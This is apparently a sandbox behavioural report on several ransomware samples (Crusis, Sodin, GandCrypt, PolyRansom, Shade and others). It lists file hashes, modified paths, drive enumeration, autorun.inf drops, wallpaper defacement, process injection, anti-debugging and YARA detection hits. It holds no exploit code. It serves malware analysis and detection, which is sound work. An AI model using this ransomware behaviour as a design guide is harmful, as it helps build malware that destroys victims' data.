File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Desktop.ini	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\desktop.ini	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Users\Default\AppData\Roaming\Microsoft\Windows\SendTo\desktop.ini	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	\??\c:\users\admin\contacts\desktop.ini	Trojan-Ransom.Win32.Sodin.bb-f4e5d7a95681d920dda75fe5dd89be249905e2a7712f9b3b39e19351f5ef5e69.exe
File opened for modification	\??\c:\users\public\desktop\desktop.ini	Trojan-Ransom.Win32.Sodin.bb-f4e5d7a95681d920dda75fe5dd89be249905e2a7712f9b3b39e19351f5ef5e69.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools\desktop.ini	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Users\Default\AppData\Local\Microsoft\Windows\WinX\Group1\desktop.ini	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\WinX\Group3\desktop.ini	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\desktop.ini	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	F:\$RECYCLE.BIN\S-1-5-21-3756129449-3121373848-4276368241-1000\desktop.ini	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\$Recycle.Bin\S-1-5-21-3756129449-3121373848-4276368241-1000\desktop.ini	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Program Files\desktop.ini	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	\??\c:\users\public\downloads\desktop.ini	Trojan-Ransom.Win32.Sodin.bb-f4e5d7a95681d920dda75fe5dd89be249905e2a7712f9b3b39e19351f5ef5e69.exe
File opened for modification	C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\Burn\Burn1\desktop.ini	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Users\Default\AppData\Local\Microsoft\Windows\WinX\Group2\desktop.ini	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	\??\c:\users\admin\searches\desktop.ini	Trojan-Ransom.Win32.Sodin.bb-f4e5d7a95681d920dda75fe5dd89be249905e2a7712f9b3b39e19351f5ef5e69.exe
File opened for modification	\??\c:\users\admin\videos\desktop.ini	Trojan-Ransom.Win32.Sodin.bb-f4e5d7a95681d920dda75fe5dd89be249905e2a7712f9b3b39e19351f5ef5e69.exe
File opened for modification	\??\c:\users\public\music\desktop.ini	Trojan-Ransom.Win32.Sodin.bb-f4e5d7a95681d920dda75fe5dd89be249905e2a7712f9b3b39e19351f5ef5e69.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\WinX\Group1\desktop.ini	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	\??\c:\users\admin\favorites\links\desktop.ini	Trojan-Ransom.Win32.Sodin.bb-f4e5d7a95681d920dda75fe5dd89be249905e2a7712f9b3b39e19351f5ef5e69.exe
File opened for modification	C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessibility\desktop.ini	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\desktop.ini	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	\??\c:\users\admin\links\desktop.ini	Trojan-Ransom.Win32.Sodin.bb-f4e5d7a95681d920dda75fe5dd89be249905e2a7712f9b3b39e19351f5ef5e69.exe
File opened for modification	\??\c:\users\admin\pictures\desktop.ini	Trojan-Ransom.Win32.Sodin.bb-f4e5d7a95681d920dda75fe5dd89be249905e2a7712f9b3b39e19351f5ef5e69.exe
File opened for modification	C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\desktop.ini	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\desktop.ini	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\DataServices\DESKTOP.INI	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	\??\c:\users\admin\music\desktop.ini	Trojan-Ransom.Win32.Sodin.bb-f4e5d7a95681d920dda75fe5dd89be249905e2a7712f9b3b39e19351f5ef5e69.exe

Enumerates connected drives 3 TTPs 64 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\W:	Trojan-Ransom.Win32.Sodin.aw-6eb992c4c8453e929ebc737780067f78e50a18934358e44db6d95fca3106e8e2.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\O:	HEUR-Trojan-Ransom.Win32.PolyRansom.gen-8298be3054f9f33b629b53757659873ad12b81b3f7038e0cd39fa0131f1553a3.exe
File opened (read-only)	\??\R:	Trojan-Ransom.Win32.Sodin.bb-f4e5d7a95681d920dda75fe5dd89be249905e2a7712f9b3b39e19351f5ef5e69.exe
File opened (read-only)	\??\G:	Trojan-Ransom.Win32.Sodin.aw-6eb992c4c8453e929ebc737780067f78e50a18934358e44db6d95fca3106e8e2.exe
File opened (read-only)	\??\L:	Trojan-Ransom.Win32.Sodin.aw-6eb992c4c8453e929ebc737780067f78e50a18934358e44db6d95fca3106e8e2.exe
File opened (read-only)	\??\I:	Trojan-Ransom.Win32.GandCrypt.jes-f4f1362dd693cfe868bda49cab9be4c80a5c625df9a7f4a8e64368d925d77d46.exe
File opened (read-only)	\??\N:	Trojan-Ransom.Win32.GandCrypt.jes-f4f1362dd693cfe868bda49cab9be4c80a5c625df9a7f4a8e64368d925d77d46.exe
File opened (read-only)	\??\W:	HEUR-Trojan-Ransom.Win32.PolyRansom.gen-8298be3054f9f33b629b53757659873ad12b81b3f7038e0cd39fa0131f1553a3.exe
File opened (read-only)	\??\Z:	HEUR-Trojan-Ransom.Win32.PolyRansom.gen-8298be3054f9f33b629b53757659873ad12b81b3f7038e0cd39fa0131f1553a3.exe
File opened (read-only)	\??\Q:	Trojan-Ransom.Win32.Sodin.aay-d63d1c46b1e83d54ad1d37bd0c8b62447060af35f53296c3059d75dc4d3fa15c.exe
File opened (read-only)	\??\y:	Trojan-Ransom.Win32.Snocry.cvy-c5e5fd674ac39c58533687c8d8ed51c465459b5b8e0f52e8a1b0f692c500e3b0.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\W:	Trojan-Ransom.Win32.GandCrypt.jes-f4f1362dd693cfe868bda49cab9be4c80a5c625df9a7f4a8e64368d925d77d46.exe
File opened (read-only)	\??\H:	HEUR-Trojan-Ransom.Win32.PolyRansom.gen-8298be3054f9f33b629b53757659873ad12b81b3f7038e0cd39fa0131f1553a3.exe
File opened (read-only)	\??\P:	Trojan-Ransom.Win32.Sodin.aay-d63d1c46b1e83d54ad1d37bd0c8b62447060af35f53296c3059d75dc4d3fa15c.exe
File opened (read-only)	\??\x:	Trojan-Ransom.Win32.Snocry.cvy-c5e5fd674ac39c58533687c8d8ed51c465459b5b8e0f52e8a1b0f692c500e3b0.exe
File opened (read-only)	\??\Z:	Trojan-Ransom.Win32.Sodin.aw-6eb992c4c8453e929ebc737780067f78e50a18934358e44db6d95fca3106e8e2.exe
File opened (read-only)	\??\H:	Trojan-Ransom.Win32.Sodin.g-1937098609fbbda1b470811a7ffe5fa044058655722d84bd029050d54f2b1496.exe
File opened (read-only)	\??\S:	Trojan-Ransom.Win32.Sodin.g-1937098609fbbda1b470811a7ffe5fa044058655722d84bd029050d54f2b1496.exe
File opened (read-only)	\??\U:	HEUR-Trojan-Ransom.Win32.PolyRansom.gen-8298be3054f9f33b629b53757659873ad12b81b3f7038e0cd39fa0131f1553a3.exe
File opened (read-only)	\??\G:	Trojan-Ransom.Win32.Sodin.g-1937098609fbbda1b470811a7ffe5fa044058655722d84bd029050d54f2b1496.exe
File opened (read-only)	\??\m:	Trojan-Ransom.Win32.Snocry.cvy-c5e5fd674ac39c58533687c8d8ed51c465459b5b8e0f52e8a1b0f692c500e3b0.exe
File opened (read-only)	\??\z:	Trojan-Ransom.Win32.Snocry.cvy-c5e5fd674ac39c58533687c8d8ed51c465459b5b8e0f52e8a1b0f692c500e3b0.exe
File opened (read-only)	\??\E:	Trojan-Ransom.Win32.Sodin.aw-6eb992c4c8453e929ebc737780067f78e50a18934358e44db6d95fca3106e8e2.exe
File opened (read-only)	\??\I:	Trojan-Ransom.Win32.Sodin.aw-6eb992c4c8453e929ebc737780067f78e50a18934358e44db6d95fca3106e8e2.exe
File opened (read-only)	\??\Z:	Trojan-Ransom.Win32.GandCrypt.jes-f4f1362dd693cfe868bda49cab9be4c80a5c625df9a7f4a8e64368d925d77d46.exe
File opened (read-only)	\??\S:	HEUR-Trojan-Ransom.Win32.PolyRansom.gen-8298be3054f9f33b629b53757659873ad12b81b3f7038e0cd39fa0131f1553a3.exe
File opened (read-only)	\??\K:	Trojan-Ransom.Win32.Sodin.bb-f4e5d7a95681d920dda75fe5dd89be249905e2a7712f9b3b39e19351f5ef5e69.exe
File opened (read-only)	\??\I:	Trojan-Ransom.Win32.Sodin.g-1937098609fbbda1b470811a7ffe5fa044058655722d84bd029050d54f2b1496.exe
File opened (read-only)	\??\U:	Trojan-Ransom.Win32.Sodin.g-1937098609fbbda1b470811a7ffe5fa044058655722d84bd029050d54f2b1496.exe
File opened (read-only)	\??\D:	Trojan-Ransom.Win32.Sodin.aay-d63d1c46b1e83d54ad1d37bd0c8b62447060af35f53296c3059d75dc4d3fa15c.exe
File opened (read-only)	\??\F:	Trojan-Ransom.Win32.Sodin.aay-d63d1c46b1e83d54ad1d37bd0c8b62447060af35f53296c3059d75dc4d3fa15c.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\R:	Trojan-Ransom.Win32.Sodin.g-1937098609fbbda1b470811a7ffe5fa044058655722d84bd029050d54f2b1496.exe
File opened (read-only)	\??\L:	Trojan-Ransom.Win32.Sodin.aay-d63d1c46b1e83d54ad1d37bd0c8b62447060af35f53296c3059d75dc4d3fa15c.exe
File opened (read-only)	\??\E:	HEUR-Trojan-Ransom.Win32.PolyRansom.gen-8298be3054f9f33b629b53757659873ad12b81b3f7038e0cd39fa0131f1553a3.exe
File opened (read-only)	\??\P:	Trojan-Ransom.Win32.Sodin.bb-f4e5d7a95681d920dda75fe5dd89be249905e2a7712f9b3b39e19351f5ef5e69.exe
File opened (read-only)	\??\B:	Trojan-Ransom.Win32.Sodin.aay-d63d1c46b1e83d54ad1d37bd0c8b62447060af35f53296c3059d75dc4d3fa15c.exe
File opened (read-only)	\??\O:	Trojan-Ransom.Win32.Sodin.bb-f4e5d7a95681d920dda75fe5dd89be249905e2a7712f9b3b39e19351f5ef5e69.exe
File opened (read-only)	\??\u:	Trojan-Ransom.Win32.Snocry.cvy-c5e5fd674ac39c58533687c8d8ed51c465459b5b8e0f52e8a1b0f692c500e3b0.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Q:	Trojan-Ransom.Win32.Sodin.g-1937098609fbbda1b470811a7ffe5fa044058655722d84bd029050d54f2b1496.exe
File opened (read-only)	\??\V:	Trojan-Ransom.Win32.Sodin.g-1937098609fbbda1b470811a7ffe5fa044058655722d84bd029050d54f2b1496.exe
File opened (read-only)	\??\V:	Trojan-Ransom.Win32.Sodin.bb-f4e5d7a95681d920dda75fe5dd89be249905e2a7712f9b3b39e19351f5ef5e69.exe
File opened (read-only)	\??\B:	HEUR-Trojan-Ransom.Win32.PolyRansom.gen-8298be3054f9f33b629b53757659873ad12b81b3f7038e0cd39fa0131f1553a3.exe
File opened (read-only)	\??\M:	Trojan-Ransom.Win32.Sodin.bb-f4e5d7a95681d920dda75fe5dd89be249905e2a7712f9b3b39e19351f5ef5e69.exe
File opened (read-only)	\??\J:	Trojan-Ransom.Win32.Sodin.aay-d63d1c46b1e83d54ad1d37bd0c8b62447060af35f53296c3059d75dc4d3fa15c.exe
File opened (read-only)	\??\G:	Trojan-Ransom.Win32.Sodin.bb-f4e5d7a95681d920dda75fe5dd89be249905e2a7712f9b3b39e19351f5ef5e69.exe
File opened (read-only)	\??\X:	Trojan-Ransom.Win32.Sodin.bb-f4e5d7a95681d920dda75fe5dd89be249905e2a7712f9b3b39e19351f5ef5e69.exe
File opened (read-only)	\??\g:	Trojan-Ransom.Win32.Snocry.cvy-c5e5fd674ac39c58533687c8d8ed51c465459b5b8e0f52e8a1b0f692c500e3b0.exe
File opened (read-only)	\??\q:	Trojan-Ransom.Win32.Snocry.cvy-c5e5fd674ac39c58533687c8d8ed51c465459b5b8e0f52e8a1b0f692c500e3b0.exe
File opened (read-only)	\??\N:	Trojan-Ransom.Win32.Sodin.aw-6eb992c4c8453e929ebc737780067f78e50a18934358e44db6d95fca3106e8e2.exe
File opened (read-only)	\??\R:	HEUR-Trojan-Ransom.Win32.PolyRansom.gen-8298be3054f9f33b629b53757659873ad12b81b3f7038e0cd39fa0131f1553a3.exe
File opened (read-only)	\??\M:	Trojan-Ransom.Win32.Sodin.g-1937098609fbbda1b470811a7ffe5fa044058655722d84bd029050d54f2b1496.exe
File opened (read-only)	\??\V:	Trojan-Ransom.Win32.Sodin.aw-6eb992c4c8453e929ebc737780067f78e50a18934358e44db6d95fca3106e8e2.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\J:	Trojan-Ransom.Win32.Sodin.g-1937098609fbbda1b470811a7ffe5fa044058655722d84bd029050d54f2b1496.exe
File opened (read-only)	\??\N:	Trojan-Ransom.Win32.Sodin.g-1937098609fbbda1b470811a7ffe5fa044058655722d84bd029050d54f2b1496.exe
File opened (read-only)	\??\X:	Trojan-Ransom.Win32.Sodin.g-1937098609fbbda1b470811a7ffe5fa044058655722d84bd029050d54f2b1496.exe
File opened (read-only)	\??\e:	Trojan-Ransom.Win32.Snocry.cvy-c5e5fd674ac39c58533687c8d8ed51c465459b5b8e0f52e8a1b0f692c500e3b0.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\V:	Trojan-Ransom.Win32.GandCrypt.jes-f4f1362dd693cfe868bda49cab9be4c80a5c625df9a7f4a8e64368d925d77d46.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
69	ipinfo.io
71	ipinfo.io

AutoIT Executable 14 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/memory/2256-194-0x0000000000EB0000-0x0000000000FF0000-memory.dmp	autoit_exe
behavioral1/memory/1684-316-0x0000000000EB0000-0x0000000000FF0000-memory.dmp	autoit_exe
behavioral1/memory/2256-605-0x0000000000EB0000-0x0000000000FF0000-memory.dmp	autoit_exe
behavioral1/memory/1684-2351-0x0000000000EB0000-0x0000000000FF0000-memory.dmp	autoit_exe
behavioral1/memory/1684-5008-0x0000000000EB0000-0x0000000000FF0000-memory.dmp	autoit_exe
behavioral1/memory/1684-5322-0x0000000000EB0000-0x0000000000FF0000-memory.dmp	autoit_exe
behavioral1/memory/12812-20156-0x0000000000BC0000-0x0000000000D00000-memory.dmp	autoit_exe
behavioral1/memory/1684-20364-0x0000000000EB0000-0x0000000000FF0000-memory.dmp	autoit_exe
behavioral1/memory/2256-21029-0x0000000000EB0000-0x0000000000FF0000-memory.dmp	autoit_exe
behavioral1/memory/12812-25026-0x0000000000BC0000-0x0000000000D00000-memory.dmp	autoit_exe
behavioral1/memory/11684-25334-0x0000000000BC0000-0x0000000000D00000-memory.dmp	autoit_exe
behavioral1/memory/11684-26614-0x0000000000BC0000-0x0000000000D00000-memory.dmp	autoit_exe
behavioral1/memory/11684-38922-0x0000000000BC0000-0x0000000000D00000-memory.dmp	autoit_exe
behavioral1/memory/12812-39432-0x0000000000BC0000-0x0000000000D00000-memory.dmp	autoit_exe

Drops autorun.inf file 1 TTPs 4 IoCs

Malware can abuse Windows Autorun to spread further via attached volumes.

Replication Through Removable Media

T1091

description	ioc	Process
File opened for modification	F:\AUTORUN.INF	HEUR-Trojan-Ransom.Win32.PolyRansom.gen-8298be3054f9f33b629b53757659873ad12b81b3f7038e0cd39fa0131f1553a3.exe
File opened for modification	C:\AUTORUN.INF	HEUR-Trojan-Ransom.Win32.PolyRansom.gen-8298be3054f9f33b629b53757659873ad12b81b3f7038e0cd39fa0131f1553a3.exe
File opened for modification	C:\AUTORUN.INF	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	F:\AUTORUN.INF	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe

Drops file in System32 directory 10 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\HelpMe.exe	HEUR-Trojan-Ransom.Win32.PolyRansom.gen-8298be3054f9f33b629b53757659873ad12b81b3f7038e0cd39fa0131f1553a3.exe
File opened for modification	C:\Windows\SysWOW64\HelpMe.exe	HEUR-Trojan-Ransom.Win32.PolyRansom.gen-8298be3054f9f33b629b53757659873ad12b81b3f7038e0cd39fa0131f1553a3.exe
File created	C:\Windows\SysWOW64\notepad.exe.exe	HEUR-Trojan-Ransom.Win32.PolyRansom.gen-8298be3054f9f33b629b53757659873ad12b81b3f7038e0cd39fa0131f1553a3.exe
File created	C:\Windows\System32\Trojan-Ransom.Win32.Rack.iqi-d42b70f5dafd78c0ba9ca1ede4e5d8add0a5046640cb165bf907f5bd66f246ed.exe	Trojan-Ransom.Win32.Rack.iqi-d42b70f5dafd78c0ba9ca1ede4e5d8add0a5046640cb165bf907f5bd66f246ed.exe
File created	C:\Windows\System32\Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	adjustidebug.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	adjustidebug.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	adjustidebug.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5	adjustidebug.exe
File created	C:\Windows\System32\Info.hta	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery

T1057

pid	Process
7100	tasklist.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\372g1ab026.bmp"	Trojan-Ransom.Win32.Sodin.g-1937098609fbbda1b470811a7ffe5fa044058655722d84bd029050d54f2b1496.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ldp.bmp"	Trojan-Ransom.Win32.Sodin.bb-f4e5d7a95681d920dda75fe5dd89be249905e2a7712f9b3b39e19351f5ef5e69.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
632	HEUR-Trojan-Ransom.Win32.Shade.vho-115591f33f7d53985f4d8f7a519906336c386eda4fae0486904e79e925550b66.exe
632	HEUR-Trojan-Ransom.Win32.Shade.vho-115591f33f7d53985f4d8f7a519906336c386eda4fae0486904e79e925550b66.exe

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 556 set thread context of 2476	556	HEUR-Trojan-Ransom.Win32.Generic-78d775670595e06249a026efd6d31c314707c1cdb80ef3650bffa2f7e0c57784.exe	115
PID 872 set thread context of 1532	872	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe	149
PID 3968 set thread context of 8168	3968	HEUR-Trojan-Ransom.Win32.Blocker.gen-3378c59eba9f93c3b7dcb589c53f63fcf7e0baba98aadbff3b994653e9dc44df.exe	159
PID 3436 set thread context of 6932	3436	Trojan-Ransom.Win32.Shade.qjq-7ce52df2e1186532c119b3ad42fad1012bb78e6393bff209086dec386bbd49af.exe	181
PID 1504 set thread context of 5884	1504	HEUR-Trojan-Ransom.Win32.JSWorm.gen-cedf567ebc23b6090de2703911003e3bdbf2c13cc61b700240536715935e835c.exe	214
PID 4552 set thread context of 8340	4552	HEUR-Trojan-Ransom.MSIL.GandCrypt.gen-9f44d74b5fe2e6353074ba70ade88d1747f038ca9902be34cb2ca95eecafc760.exe	226

UPX packed file 36 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0008000000023c5a-195.dat	upx
behavioral1/memory/2256-194-0x0000000000EB0000-0x0000000000FF0000-memory.dmp	upx
behavioral1/files/0x0008000000023c2c-181.dat	upx
behavioral1/memory/872-179-0x0000000000400000-0x0000000000506000-memory.dmp	upx
behavioral1/memory/2084-213-0x0000000000400000-0x0000000000607000-memory.dmp	upx
behavioral1/memory/2084-241-0x0000000000400000-0x0000000000607000-memory.dmp	upx
behavioral1/memory/2084-247-0x0000000000400000-0x0000000000607000-memory.dmp	upx
behavioral1/memory/2084-246-0x0000000000400000-0x0000000000607000-memory.dmp	upx
behavioral1/memory/2084-240-0x0000000000400000-0x0000000000607000-memory.dmp	upx
behavioral1/memory/2084-239-0x0000000000400000-0x0000000000607000-memory.dmp	upx
behavioral1/memory/1684-316-0x0000000000EB0000-0x0000000000FF0000-memory.dmp	upx
behavioral1/memory/872-378-0x0000000000400000-0x0000000000506000-memory.dmp	upx
behavioral1/memory/872-384-0x0000000000400000-0x0000000000506000-memory.dmp	upx
behavioral1/memory/2084-603-0x0000000000400000-0x0000000000607000-memory.dmp	upx
behavioral1/memory/2256-605-0x0000000000EB0000-0x0000000000FF0000-memory.dmp	upx
behavioral1/memory/1684-2351-0x0000000000EB0000-0x0000000000FF0000-memory.dmp	upx
behavioral1/memory/2084-2653-0x0000000000400000-0x0000000000607000-memory.dmp	upx
behavioral1/memory/1684-5008-0x0000000000EB0000-0x0000000000FF0000-memory.dmp	upx
behavioral1/memory/1684-5322-0x0000000000EB0000-0x0000000000FF0000-memory.dmp	upx
behavioral1/memory/2084-6106-0x0000000000400000-0x0000000000607000-memory.dmp	upx
behavioral1/memory/6932-7185-0x0000000000400000-0x0000000000608000-memory.dmp	upx
behavioral1/memory/6932-12765-0x0000000000400000-0x0000000000608000-memory.dmp	upx
behavioral1/memory/12812-20156-0x0000000000BC0000-0x0000000000D00000-memory.dmp	upx
behavioral1/memory/5884-20157-0x0000000000400000-0x0000000000608000-memory.dmp	upx
behavioral1/memory/1684-20364-0x0000000000EB0000-0x0000000000FF0000-memory.dmp	upx
behavioral1/memory/2256-21029-0x0000000000EB0000-0x0000000000FF0000-memory.dmp	upx
behavioral1/memory/5884-23898-0x0000000000400000-0x0000000000608000-memory.dmp	upx
behavioral1/memory/12812-25026-0x0000000000BC0000-0x0000000000D00000-memory.dmp	upx
behavioral1/memory/11684-25334-0x0000000000BC0000-0x0000000000D00000-memory.dmp	upx
behavioral1/memory/11684-26614-0x0000000000BC0000-0x0000000000D00000-memory.dmp	upx
behavioral1/memory/6508-27524-0x0000000000ED0000-0x0000000000EFC000-memory.dmp	upx
behavioral1/memory/6508-27522-0x0000000000ED0000-0x0000000000EFC000-memory.dmp	upx
behavioral1/memory/7352-27526-0x0000000000ED0000-0x0000000000EFC000-memory.dmp	upx
behavioral1/memory/12252-27528-0x0000000000ED0000-0x0000000000EFC000-memory.dmp	upx
behavioral1/memory/11684-38922-0x0000000000BC0000-0x0000000000D00000-memory.dmp	upx
behavioral1/memory/12812-39432-0x0000000000BC0000-0x0000000000D00000-memory.dmp	upx

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\EQUATION\msvcr120.dll	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\brx\LC_MESSAGES\vlc.mo.id-67666807.[[email protected]].bot	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Functions\Assertions\BeLessThan.Tests.ps1	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Spelling.api	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MSPaint_6.1907.29027.0_x64__8wekyb3d8bbwe\Assets\Images\Stickers\Thumbnails\Sticker_Icon_Glasses.png	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.YourPhone_0.19051.7.0_x64__8wekyb3d8bbwe\Assets\AppTiles\contrast-black\BadgeLogo.scale-200_contrast-black.png	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\A12_Spinner.gif	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\eu-es\ui-strings.js.id-67666807.[[email protected]].bot	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1906.1972.0_x64__8wekyb3d8bbwe\Assets\SecondaryTiles\Car\LTR\contrast-white\WideTile.scale-200.png	drpbx.exe
File created	C:\Program Files\Java\jre-1.8\Welcome.html.id-67666807.[[email protected]].bot	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
